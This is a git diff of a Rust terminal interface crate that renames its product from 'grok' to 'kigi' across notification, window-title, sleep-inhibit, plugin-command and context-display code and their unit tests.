@@ -85,7 +85,7 @@ mod tests {
             TerminalName::AppleTerminal,
             TerminalName::VsCode,
             TerminalName::WarpTerminal,
-            TerminalName::GrokDesktop,
+            TerminalName::KigiDesktop,
             TerminalName::Vte,
             TerminalName::Unknown,
         ];
diff --git a/crates/codegen/kigi-tui/src/notifications/protocol.rs b/crates/codegen/kigi-tui/src/notifications/protocol.rs
index df8f7d3..0b7a73f 100644
--- a/crates/codegen/kigi-tui/src/notifications/protocol.rs
+++ b/crates/codegen/kigi-tui/src/notifications/protocol.rs
@@ -8,7 +8,7 @@ use crate::terminal::{MultiplexerKind, TerminalContext, TerminalName};
 pub enum NotificationProtocol {
     /// iTerm2/WezTerm/Warp: `\x1b]9;{message}\x07`
     Osc9,
-    /// Kitty: `\x1b]99;i=grok;{message}\x1b\\`
+    /// Kitty: `\x1b]99;i=kigi;{message}\x1b\\`
     Osc99,
     /// Ghostty/VTE: `\x1b]777;notify;{title};{body}\x1b\\`
     Osc777,
@@ -45,7 +45,7 @@ pub fn select_protocol(ctx: &TerminalContext) -> NotificationProtocol {
         | TerminalName::Vte
         | TerminalName::Terminator
         | TerminalName::Foot => NotificationProtocol::Osc777,
-        TerminalName::GrokDesktop => NotificationProtocol::None,
+        TerminalName::KigiDesktop => NotificationProtocol::None,
         TerminalName::AppleTerminal
         | TerminalName::Alacritty
         | TerminalName::Rio
@@ -78,8 +78,8 @@ pub fn emit_notification(
     // the app name to avoid showing the session name twice.
     let sequence: Cow<'_, str> = match protocol {
         NotificationProtocol::Osc9 => format!("\x1b]9;{body} \u{b7} {title}\x07").into(),
-        NotificationProtocol::Osc99 => format!("\x1b]99;i=grok;{body} \u{b7} {title}\x1b\\").into(),
-        NotificationProtocol::Osc777 => format!("\x1b]777;notify;Grok;{body}\x1b\\").into(),
+        NotificationProtocol::Osc99 => format!("\x1b]99;i=kigi;{body} \u{b7} {title}\x1b\\").into(),
+        NotificationProtocol::Osc777 => format!("\x1b]777;notify;Kigi;{body}\x1b\\").into(),
         NotificationProtocol::Bel => Cow::Borrowed("\x07"),
         NotificationProtocol::None => return,
     };
@@ -175,9 +175,9 @@ mod tests {
     }
 
     #[test]
-    fn select_grok_desktop_uses_none() {
+    fn select_kigi_desktop_uses_none() {
         assert_eq!(
-            select_protocol(&ctx_with_brand(TerminalName::GrokDesktop)),
+            select_protocol(&ctx_with_brand(TerminalName::KigiDesktop)),
             NotificationProtocol::None
         );
     }
@@ -302,7 +302,7 @@ mod tests {
 
     #[test]
     fn emit_none_is_noop() {
-        let ctx = ctx_with_brand(TerminalName::GrokDesktop);
+        let ctx = ctx_with_brand(TerminalName::KigiDesktop);
         // Should return immediately without writing anything.
         emit_notification(NotificationProtocol::None, "title", "body", &ctx);
     }
@@ -343,7 +343,7 @@ mod tests {
             (TerminalName::Ghostty, NotificationProtocol::Osc777),
             (TerminalName::Vte, NotificationProtocol::Osc777),
             (TerminalName::Foot, NotificationProtocol::Osc777),
-            (TerminalName::GrokDesktop, NotificationProtocol::None),
+            (TerminalName::KigiDesktop, NotificationProtocol::None),
             (TerminalName::AppleTerminal, NotificationProtocol::Bel),
             (TerminalName::Alacritty, NotificationProtocol::Bel),
             (TerminalName::VsCode, NotificationProtocol::Bel),
diff --git a/crates/codegen/kigi-tui/src/notifications/sleep.rs b/crates/codegen/kigi-tui/src/notifications/sleep.rs
index 9685fc3..318e54e 100644
--- a/crates/codegen/kigi-tui/src/notifications/sleep.rs
+++ b/crates/codegen/kigi-tui/src/notifications/sleep.rs
@@ -63,7 +63,7 @@ impl SleepInhibitor {
     #[cfg(target_os = "macos")]
     fn platform_inhibit(&self) -> bool {
         let mut assertion_id: u32 = 0;
-        let reason = core_foundation::string::CFString::new("grok: agent turn in progress");
+        let reason = core_foundation::string::CFString::new("kigi: agent turn in progress");
         let assertion_type =
             core_foundation::string::CFString::from_static_string("NoIdleSleepAssertion");
 
@@ -102,7 +102,7 @@ impl SleepInhibitor {
         let mut cmd = std::process::Command::new("systemd-inhibit");
         cmd.args([
             "--what=idle",
-            "--who=grok",
+            "--who=kigi",
             "--why=agent turn in progress",
             "sleep",
             "infinity",
diff --git a/crates/codegen/kigi-tui/src/notifications/title.rs b/crates/codegen/kigi-tui/src/notifications/title.rs
index d8c9745..640e3be 100644
--- a/crates/codegen/kigi-tui/src/notifications/title.rs
+++ b/crates/codegen/kigi-tui/src/notifications/title.rs
@@ -89,7 +89,7 @@ impl TitleManager {
 
         if !has_parts {
             self.composed.clear();
-            self.composed.push_str("grok");
+            self.composed.push_str("kigi");
         }
 
         let result = if self.composed != self.last_title {
@@ -113,9 +113,9 @@ impl TitleManager {
     }
 
     pub fn reset(&mut self) -> String {
-        let esc = build_title_escape("grok");
+        let esc = build_title_escape("kigi");
         self.last_title.clear();
-        self.last_title.push_str("grok");
+        self.last_title.push_str("kigi");
         self.spinner_frame = 0;
         self.tick_count = 0;
         esc
@@ -132,9 +132,9 @@ fn write_item(
     tick_count: u64,
 ) -> bool {
     match item {
-        TitleItem::Grok => {
+        TitleItem::Kigi => {
             push_separator(buf, has_parts);
-            buf.push_str("grok");
+            buf.push_str("kigi");
         }
         TitleItem::Spinner => {
             if !state.is_busy && state.activity.is_none() {
@@ -267,7 +267,7 @@ fn write_truncated(buf: &mut String, s: &str, max: usize) {
 /// the frame pipeline.
 ///
 /// Control characters are stripped here: title parts include remote-sourced
-/// strings (e.g. grok.com conversation titles), which must not terminate the
+/// strings (e.g. kimi.com conversation titles), which must not terminate the
 /// OSC sequence early or inject escapes into the terminal.
 fn build_title_escape(title: &str) -> String {
     let sanitized: String = title.chars().filter(|c| !c.is_control()).collect();
@@ -307,55 +307,55 @@ mod tests {
     // --- Title composition tests ---
 
     #[test]
-    fn grok_only_produces_just_grok() {
-        let cfg = config_with_items(vec![TitleItem::Grok]);
+    fn kigi_only_produces_just_kigi() {
+        let cfg = config_with_items(vec![TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = idle_state();
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
     }
 
     #[test]
-    fn session_name_and_grok_joined_with_separator() {
-        let cfg = config_with_items(vec![TitleItem::SessionName, TitleItem::Grok]);
+    fn session_name_and_kigi_joined_with_separator() {
+        let cfg = config_with_items(vec![TitleItem::SessionName, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
             session_name: Some("my project"),
             ..idle_state()
         };
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "my project - grok");
+        assert_eq!(mgr.last_title, "my project - kigi");
     }
 
     #[test]
     fn missing_session_name_skipped() {
-        let cfg = config_with_items(vec![TitleItem::SessionName, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::SessionName, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = idle_state();
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
     }
 
     #[test]
     fn empty_session_name_skipped() {
-        let cfg = config_with_items(vec![TitleItem::SessionName, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::SessionName, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
             session_name: Some(""),
             ..idle_state()
         };
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
     }
 
     #[test]
     fn spinner_only_shown_when_active() {
-        let cfg = config_with_items(vec![TitleItem::Spinner, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::Spinner, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
 
         // Idle: spinner absent
         mgr.update(&idle_state());
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
 
         // Active: spinner present
         let activity = TurnActivity::Thinking;
@@ -364,7 +364,7 @@ mod tests {
             ..idle_state()
         };
         mgr.update(&state);
-        assert!(mgr.last_title.contains(" - grok"));
+        assert!(mgr.last_title.contains(" - kigi"));
         let spinner_part: String = mgr.last_title.chars().take(1).collect();
         assert!(
             TITLE_SPINNER.contains(&spinner_part.chars().next().unwrap()),
@@ -522,22 +522,22 @@ mod tests {
 
     #[test]
     fn activity_hidden_when_idle() {
-        let cfg = config_with_items(vec![TitleItem::Activity, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::Activity, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         mgr.update(&idle_state());
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
     }
 
     #[test]
     fn spinner_shown_when_busy_without_activity() {
-        let cfg = config_with_items(vec![TitleItem::Spinner, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::Spinner, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
             is_busy: true,
             ..idle_state()
         };
         mgr.update(&state);
-        assert!(mgr.last_title.contains(" - grok"));
+        assert!(mgr.last_title.contains(" - kigi"));
         let spinner_part: String = mgr.last_title.chars().take(1).collect();
         assert!(
             TITLE_SPINNER.contains(&spinner_part.chars().next().unwrap()),
@@ -548,19 +548,19 @@ mod tests {
 
     #[test]
     fn activity_shows_waiting_when_busy_without_activity() {
-        let cfg = config_with_items(vec![TitleItem::Activity, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::Activity, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
             is_busy: true,
             ..idle_state()
         };
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "Waiting - grok");
+        assert_eq!(mgr.last_title, "Waiting - kigi");
     }
 
     #[test]
     fn activity_prefers_specific_activity_over_waiting() {
-        let cfg = config_with_items(vec![TitleItem::Activity, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::Activity, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let activity = TurnActivity::Thinking;
         let state = TitleState {
@@ -569,14 +569,14 @@ mod tests {
             ..idle_state()
         };
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "Thinking - grok");
+        assert_eq!(mgr.last_title, "Thinking - kigi");
     }
 
     // --- Action Required blinking ---
 
     #[test]
     fn action_required_visible_on_first_tick() {
-        let cfg = config_with_items(vec![TitleItem::ActionRequired, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::ActionRequired, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
             has_pending_permissions: true,
@@ -594,7 +594,7 @@ mod tests {
 
     #[test]
     fn action_required_blinks_across_ticks() {
-        let cfg = config_with_items(vec![TitleItem::ActionRequired, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::ActionRequired, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
             has_pending_permissions: true,
@@ -626,28 +626,28 @@ mod tests {
 
     #[test]
     fn action_required_hidden_when_no_permissions() {
-        let cfg = config_with_items(vec![TitleItem::ActionRequired, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::ActionRequired, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
             has_pending_permissions: false,
             ..idle_state()
         };
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
     }
 
     // --- Dedup (no-op when unchanged) ---
 
     #[test]
     fn dedup_skips_emission_when_unchanged() {
-        let cfg = config_with_items(vec![TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = idle_state();
 
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
 
         // Second update: title is identical, last_title stays the same (no re-emit).
         let title_before = mgr.last_title.clone();
@@ -658,73 +658,73 @@ mod tests {
     // --- Empty items list ---
 
     #[test]
-    fn empty_items_produces_grok_fallback() {
+    fn empty_items_produces_kigi_fallback() {
         let cfg = config_with_items(vec![]);
         let mut mgr = TitleManager::new(&cfg);
         mgr.update(&idle_state());
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
     }
 
     // --- Model item ---
 
     #[test]
     fn model_item_shown_when_present() {
-        let cfg = config_with_items(vec![TitleItem::Model, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::Model, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
-            model: Some("grok-3"),
+            model: Some("kigi-3"),
             ..idle_state()
         };
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "grok-3 - grok");
+        assert_eq!(mgr.last_title, "kigi-3 - kigi");
     }
 
     #[test]
     fn model_item_hidden_when_none() {
-        let cfg = config_with_items(vec![TitleItem::Model, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::Model, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         mgr.update(&idle_state());
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
     }
 
     // --- Cwd item ---
 
     #[test]
     fn cwd_shows_last_component() {
-        let cfg = config_with_items(vec![TitleItem::Cwd, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::Cwd, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
             cwd: Some("/home/user/my-project"),
             ..idle_state()
         };
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "my-project - grok");
+        assert_eq!(mgr.last_title, "my-project - kigi");
     }
 
     // --- TurnTimer item ---
 
     #[test]
     fn turn_timer_shown_when_above_one_second() {
-        let cfg = config_with_items(vec![TitleItem::TurnTimer, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::TurnTimer, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
             turn_elapsed: Some(std::time::Duration::from_secs(42)),
             ..idle_state()
         };
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "42s - grok");
+        assert_eq!(mgr.last_title, "42s - kigi");
     }
 
     #[test]
     fn turn_timer_hidden_when_under_one_second() {
-        let cfg = config_with_items(vec![TitleItem::TurnTimer, TitleItem::Grok]);
+        let cfg = config_with_items(vec![TitleItem::TurnTimer, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let state = TitleState {
             turn_elapsed: Some(std::time::Duration::from_millis(500)),
             ..idle_state()
         };
         mgr.update(&state);
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
     }
 
     // --- Truncation ---
@@ -759,8 +759,8 @@ mod tests {
     // --- Reset ---
 
     #[test]
-    fn reset_clears_state_and_emits_grok() {
-        let cfg = config_with_items(vec![TitleItem::SessionName, TitleItem::Grok]);
+    fn reset_clears_state_and_emits_kigi() {
+        let cfg = config_with_items(vec![TitleItem::SessionName, TitleItem::Kigi]);
         let mut mgr = TitleManager::new(&cfg);
         let activity = TurnActivity::Thinking;
         let state = TitleState {
@@ -769,10 +769,10 @@ mod tests {
             ..idle_state()
         };
         mgr.update(&state);
-        assert_ne!(mgr.last_title, "grok");
+        assert_ne!(mgr.last_title, "kigi");
 
         mgr.reset();
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
         assert_eq!(mgr.spinner_frame, 0);
         assert_eq!(mgr.tick_count, 0);
     }
@@ -805,7 +805,7 @@ mod tests {
 
         // Both should contain the persistent parts.
         for t in [&t1, &t2] {
-            assert!(t.contains("grok"), "title missing 'grok': {t}");
+            assert!(t.contains("kigi"), "title missing 'kigi': {t}");
             assert!(t.contains("Responding"), "title missing 'Responding': {t}");
             assert!(t.contains("my-session"), "title missing session name: {t}");
         }
@@ -820,7 +820,7 @@ mod tests {
         let cfg = default_config();
         let mut mgr = TitleManager::new(&cfg);
         mgr.update(&idle_state());
-        assert_eq!(mgr.last_title, "grok");
+        assert_eq!(mgr.last_title, "kigi");
     }
 
     // --- Multi-item combinations ---
@@ -832,13 +832,13 @@ mod tests {
             TitleItem::SessionName,
             TitleItem::Model,
             TitleItem::Cwd,
-            TitleItem::Grok,
+            TitleItem::Kigi,
         ]);
         let mut mgr = TitleManager::new(&cfg);
         let activity = TurnActivity::Thinking;
         let state = TitleState {
             session_name: Some("proj"),
-            model: Some("grok-3"),
+            model: Some("kigi-3"),
             activity: Some(&activity),
             cwd: Some("/home/user/workspace"),
             ..idle_state()
@@ -846,7 +846,7 @@ mod tests {
         mgr.update(&state);
         assert_eq!(
             mgr.last_title,
-            "Thinking - proj - grok-3 - workspace - grok"
+            "Thinking - proj - kigi-3 - workspace - kigi"
         );
     }
 
diff --git a/crates/codegen/kigi-tui/src/plugin_cmd.rs b/crates/codegen/kigi-tui/src/plugin_cmd.rs
index c687bb6..2977b0b 100644
--- a/crates/codegen/kigi-tui/src/plugin_cmd.rs
+++ b/crates/codegen/kigi-tui/src/plugin_cmd.rs
@@ -152,7 +152,7 @@ fn trust_prompt(subject: &str, source_arg: &str) -> String {
         "Installing {subject} requires confirmation.\n\
          Plugins can run hooks, MCP servers, and skills on your machine, so installation needs explicit trust.\n\
          \n\
-         To proceed, re-run with --trust:\n  grok plugin install {source_arg} --trust"
+         To proceed, re-run with --trust:\n  kigi plugin install {source_arg} --trust"
     )
 }
 
@@ -277,7 +277,7 @@ fn cmd_uninstall(name: &str, confirm: bool, keep_data: bool) -> Result<()> {
             "Plugin \"{name}\" belongs to repo \"{repo_key}\" which also contains:\n\
              {}\n\n\
              Uninstalling will remove all {total} plugin(s). To proceed:\n\
-               grok plugin uninstall {name} --confirm",
+               kigi plugin uninstall {name} --confirm",
             other_plugins
                 .iter()
                 .map(|p| format!("  - {p}"))
@@ -421,7 +421,7 @@ fn cmd_validate(path: &str) -> Result<()> {
         }
         Ok(ManifestLoadResult::NotFound) => {
             println!(
-                "No plugin.json found. Grok discovers skills, agents, and hooks \
+                "No plugin.json found. Kigi discovers skills, agents, and hooks \
                  automatically from standard directories. A manifest is only needed \
                  for custom paths or metadata."
             );
@@ -517,7 +517,7 @@ mod tests {
             ),
             "{git}"
         );
-        assert!(git.ends_with("  grok plugin install u/r --trust"), "{git}");
+        assert!(git.ends_with("  kigi plugin install u/r --trust"), "{git}");
         let local = trust_prompt("from directory /tmp/p", "./p");
         assert!(
             local.starts_with("Installing from directory /tmp/p requires confirmation."),
diff --git a/crates/codegen/kigi-tui/src/project_picker/mod.rs b/crates/codegen/kigi-tui/src/project_picker/mod.rs
index 6bc82eb..d273b0d 100644
--- a/crates/codegen/kigi-tui/src/project_picker/mod.rs
+++ b/crates/codegen/kigi-tui/src/project_picker/mod.rs
@@ -7,7 +7,7 @@ pub mod sources;
 
 use std::path::{Path, PathBuf};
 
-use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
 
 /// `resolved_paths` is index-aligned with the leading `question.options`.
 /// The trailing "Don't ask me again" option at `dont_ask_index` has no
@@ -78,8 +78,8 @@ pub fn build_project_question(
 
     ProjectQuestion {
         question: Question {
-            question: "Run Grok Build in a project directory?\n\n\
-                 This gives Grok Build full context of your codebase for better results."
+            question: "Run Kigi in a project directory?\n\n\
+                 This gives Kigi full context of your codebase for better results."
                 .into(),
             id: None,
             options,
diff --git a/crates/codegen/kigi-tui/src/pty_wrap.rs b/crates/codegen/kigi-tui/src/pty_wrap.rs
index 4564267..8bc2103 100644
--- a/crates/codegen/kigi-tui/src/pty_wrap.rs
+++ b/crates/codegen/kigi-tui/src/pty_wrap.rs
@@ -2,7 +2,7 @@
 //!
 //! Spawns a command inside a local pseudo-terminal, intercepts the OSC 52
 //! clipboard escape sequences it emits, and writes their payload to the local
-//! system clipboard. This is the engine behind `grok wrap` (see
+//! system clipboard. This is the engine behind `kigi wrap` (see
 //! [`crate::wrap_cmd`]); it makes clipboard "copy" work for programs running
 //! somewhere that cannot reach the user's clipboard (containers, SSH) even when
 //! the outer terminal does not handle OSC 52 itself (for example Apple
@@ -51,7 +51,7 @@ const BASE64_STANDARD_INDIFFERENT: base64::engine::GeneralPurpose =
 
 /// Run an arbitrary command inside a local PTY with OSC 52 output filtering.
 ///
-/// This is the engine behind `grok wrap`: it spawns
+/// This is the engine behind `kigi wrap`: it spawns
 /// `program` (with `args`) attached to a local pseudo-terminal, forwards the
 /// outer terminal's size changes to it, and filters its output through
 /// [`Osc52Filter`], which intercepts OSC 52 clipboard sequences and writes
@@ -80,12 +80,12 @@ pub(crate) fn run_wrapped_command(program: &str, args: &[String]) -> Result<i32>
     args.iter().for_each(|arg| cmd.arg(arg));
 
     // Advertise to the wrapped program — and anything it spawns, e.g. a remote
-    // `grok` reached over SSH — that its OSC 52 clipboard writes are being
-    // intercepted here and copied to the real local clipboard. The inner grok
+    // `kigi` reached over SSH — that its OSC 52 clipboard writes are being
+    // intercepted here and copied to the real local clipboard. The inner kigi
     // reads this (see `kigi_pager_render::clipboard::osc52_sink_active`) to
     // *trust* OSC 52 even when it can't detect an OSC-52-capable terminal,
     // which is the usual SSH case (only `TERM` propagates, so Apple Terminal /
-    // unknown brands look incapable and the inner grok would otherwise report
+    // unknown brands look incapable and the inner kigi would otherwise report
     // "Copy failed" despite the copy actually working).
     //
     // `CommandBuilder::new` inherits the full parent environment; `env` overlays
@@ -106,7 +106,7 @@ pub(crate) fn run_wrapped_command(program: &str, args: &[String]) -> Result<i32>
     // channel. Cross-thread use of portable-pty's `Write` impl observed EIO
     // (errno 5) on macOS even for small inject payloads; confining `write_all`
     // to a single owner thread avoids that. Handles are intentionally
-    // detached — `grok wrap` is short-lived and exits with the child.
+    // detached — `kigi wrap` is short-lived and exits with the child.
     let mut pty_reader = pair.master.try_clone_reader()?;
 
     // NOTE: we intentionally do NOT block SIGWINCH here. The resize handler
diff --git a/crates/codegen/kigi-tui/src/scrollback/block.rs b/crates/codegen/kigi-tui/src/scrollback/block.rs
index d11edc3..c1f75a1 100644
--- a/crates/codegen/kigi-tui/src/scrollback/block.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/block.rs
@@ -1496,7 +1496,7 @@ mod searchable_text_tests {
             b.subagent_type = "explore".into();
             b.persona = Some("scout".into());
             b.role = Some("researcher".into());
-            b.model = Some("grok-test".into());
+            b.model = Some("kigi-test".into());
             b.activity_label = Some("Running: cargo build".into());
         }
         let text = block.searchable_text().expect("subagent text");
@@ -1504,7 +1504,7 @@ mod searchable_text_tests {
         assert!(text.contains("explore"), "got: {text:?}");
         assert!(text.contains("scout"), "got: {text:?}");
         assert!(text.contains("researcher"), "got: {text:?}");
-        assert!(text.contains("grok-test"), "got: {text:?}");
+        assert!(text.contains("kigi-test"), "got: {text:?}");
         assert!(text.contains("Running: cargo build"), "got: {text:?}");
         assert!(text.contains("panicked at assert"), "got: {text:?}");
     }
@@ -1539,9 +1539,9 @@ mod searchable_text_tests {
             auto_compact_threshold_percent: 85,
             usage_categories: vec![],
         };
-        let block = RenderBlock::context_info(snapshot, "grok-4.5");
+        let block = RenderBlock::context_info(snapshot, "kigi-4.5");
         // Only the model name is source text; the rest is a numeric breakdown.
-        assert_eq!(block.searchable_text().as_deref(), Some("grok-4.5"));
+        assert_eq!(block.searchable_text().as_deref(), Some("kigi-4.5"));
     }
 
     #[test]
diff --git a/crates/codegen/kigi-tui/src/scrollback/blocks/bg_task.rs b/crates/codegen/kigi-tui/src/scrollback/blocks/bg_task.rs
index a37e03b..f1d7257 100644
--- a/crates/codegen/kigi-tui/src/scrollback/blocks/bg_task.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/blocks/bg_task.rs
@@ -466,7 +466,7 @@ mod tests {
     #[test]
     fn preamble_uses_primary_text_color_for_description() {
         // Pin theme to avoid races with parallel tests that call `cache::set`.
-        crate::theme::cache::set(crate::theme::ThemeKind::GrokNight);
+        crate::theme::cache::set(crate::theme::ThemeKind::KigiNight);
         let block =
             BgTaskBlock::started("ls", "t1").with_description(Some("List the files".into()));
         let text = block.preamble(&test_ctx()).expect("preamble");
diff --git a/crates/codegen/kigi-tui/src/scrollback/blocks/context_info.rs b/crates/codegen/kigi-tui/src/scrollback/blocks/context_info.rs
index 42b8caf..f590b45 100644
--- a/crates/codegen/kigi-tui/src/scrollback/blocks/context_info.rs
+++ b/crates/codegen/kigi-tui/src/scrollback/blocks/context_info.rs
@@ -24,7 +24,7 @@ use kigi_shell::session::{ContextInfo, count_detail};
 /// Context
 ///
 /// 36.7k / 1.0m tokens (3.67%)
-/// grok-4
+/// kigi-4
 ///
 /// ◆ ◆ ◆ ◆ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇
 /// ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇ ◇
@@ -467,7 +467,7 @@ impl ContextInfoBlock {
         // (routed from kigi-shell's model config resolution). This makes
         // the “Auto-compact at X%” line and the tip band match exactly what
         // remote settings / user TOML / env have configured for the
-        // current model (e.g. 65 for grok-build).
+        // current model (e.g. 65 for kigi).
         //
         // `threshold_tokens` uses `div_ceil` rather than truncating integer
         // division so it matches the rounded `usage_pct` from `ContextInfo`
@@ -705,7 +705,7 @@ mod tests {
 
     #[test]
     fn build_lines_contains_header_tokens_and_model() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         // Layout: Context / <blank> / tokens / model.
@@ -715,12 +715,12 @@ mod tests {
         assert!(l2.contains("tokens"));
         // Percent now shows 2 decimal places (36.7k / 1m = 3.67%).
         assert!(l2.contains("(3.67%)"), "got: {l2:?}");
-        assert_eq!(line_text(&lines, 3), "grok-4");
+        assert_eq!(line_text(&lines, 3), "kigi-4");
     }
 
     #[test]
     fn build_lines_contains_tokens_summary() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let l2 = line_text(&lines, 2);
@@ -747,7 +747,7 @@ mod tests {
         // line is also showing.
         let mut snap = snapshot();
         snap.usage_pct = 80;
-        let block = ContextInfoBlock::new(snap, "grok-4");
+        let block = ContextInfoBlock::new(snap, "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let last = line_text(&lines, lines.len() - 1);
@@ -756,7 +756,7 @@ mod tests {
 
     #[test]
     fn build_lines_omits_tip_below_threshold() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         assert!(!all_text(&lines).contains("/compact"));
@@ -770,7 +770,7 @@ mod tests {
         // other (manual /compact vs. auto-compact about to fire).
         let mut snap = snapshot();
         snap.usage_pct = 85; // the historical default (and value in snapshot() helper)
-        let block = ContextInfoBlock::new(snap, "grok-4");
+        let block = ContextInfoBlock::new(snap, "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         assert!(!all_text(&lines).contains("/compact"));
@@ -778,7 +778,7 @@ mod tests {
 
     #[test]
     fn build_lines_shows_auto_compact_estimate_below_threshold() {
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let all = all_text(&lines);
@@ -796,7 +796,7 @@ mod tests {
         snap.total = 4_000_000;
         snap.used = 0;
         snap.usage_pct = 0;
-        let block = ContextInfoBlock::new(snap, "grok-4");
+        let block = ContextInfoBlock::new(snap, "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let all = all_text(&lines);
@@ -809,7 +809,7 @@ mod tests {
     #[test]
     fn build_lines_auto_compact_eta_arithmetic_at_known_snapshot() {
         // 1M window, 36_700 used: ceil(850_000) - 36_700 = 813_300 → "813k".
-        let block = ContextInfoBlock::new(snapshot(), "grok-4");
+        let block = ContextInfoBlock::new(snapshot(), "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let all = all_text(&lines);
@@ -849,7 +849,7 @@ mod tests {
         let mut snap = snapshot();
         snap.total = 2_000_000;
         snap.used = 36_700;
-        let block = ContextInfoBlock::new(snap, "grok-4");
+        let block = ContextInfoBlock::new(snap, "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let l2 = line_text(&lines, 2);
@@ -863,7 +863,7 @@ mod tests {
     fn build_lines_shows_imminent_auto_compact_at_threshold() {
         let mut snap = snapshot();
         snap.usage_pct = 85;
-        let block = ContextInfoBlock::new(snap, "grok-4");
+        let block = ContextInfoBlock::new(snap, "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let all = all_text(&lines);
@@ -926,7 +926,7 @@ mod tests {
         snap.tool_definitions_tokens = 0;
         snap.free_tokens = 90_000;
         snap.usage_pct = 10;
-        let block = ContextInfoBlock::new(snap, "grok-4");
+        let block = ContextInfoBlock::new(snap, "kigi-4");
         let theme = test_theme();
         let lines = block.build_lines(&theme, BarLayout::WIDE);
         let (diamonds, tools, free, total) = count_bar_glyphs(&lines, BarLayout::WIDE);
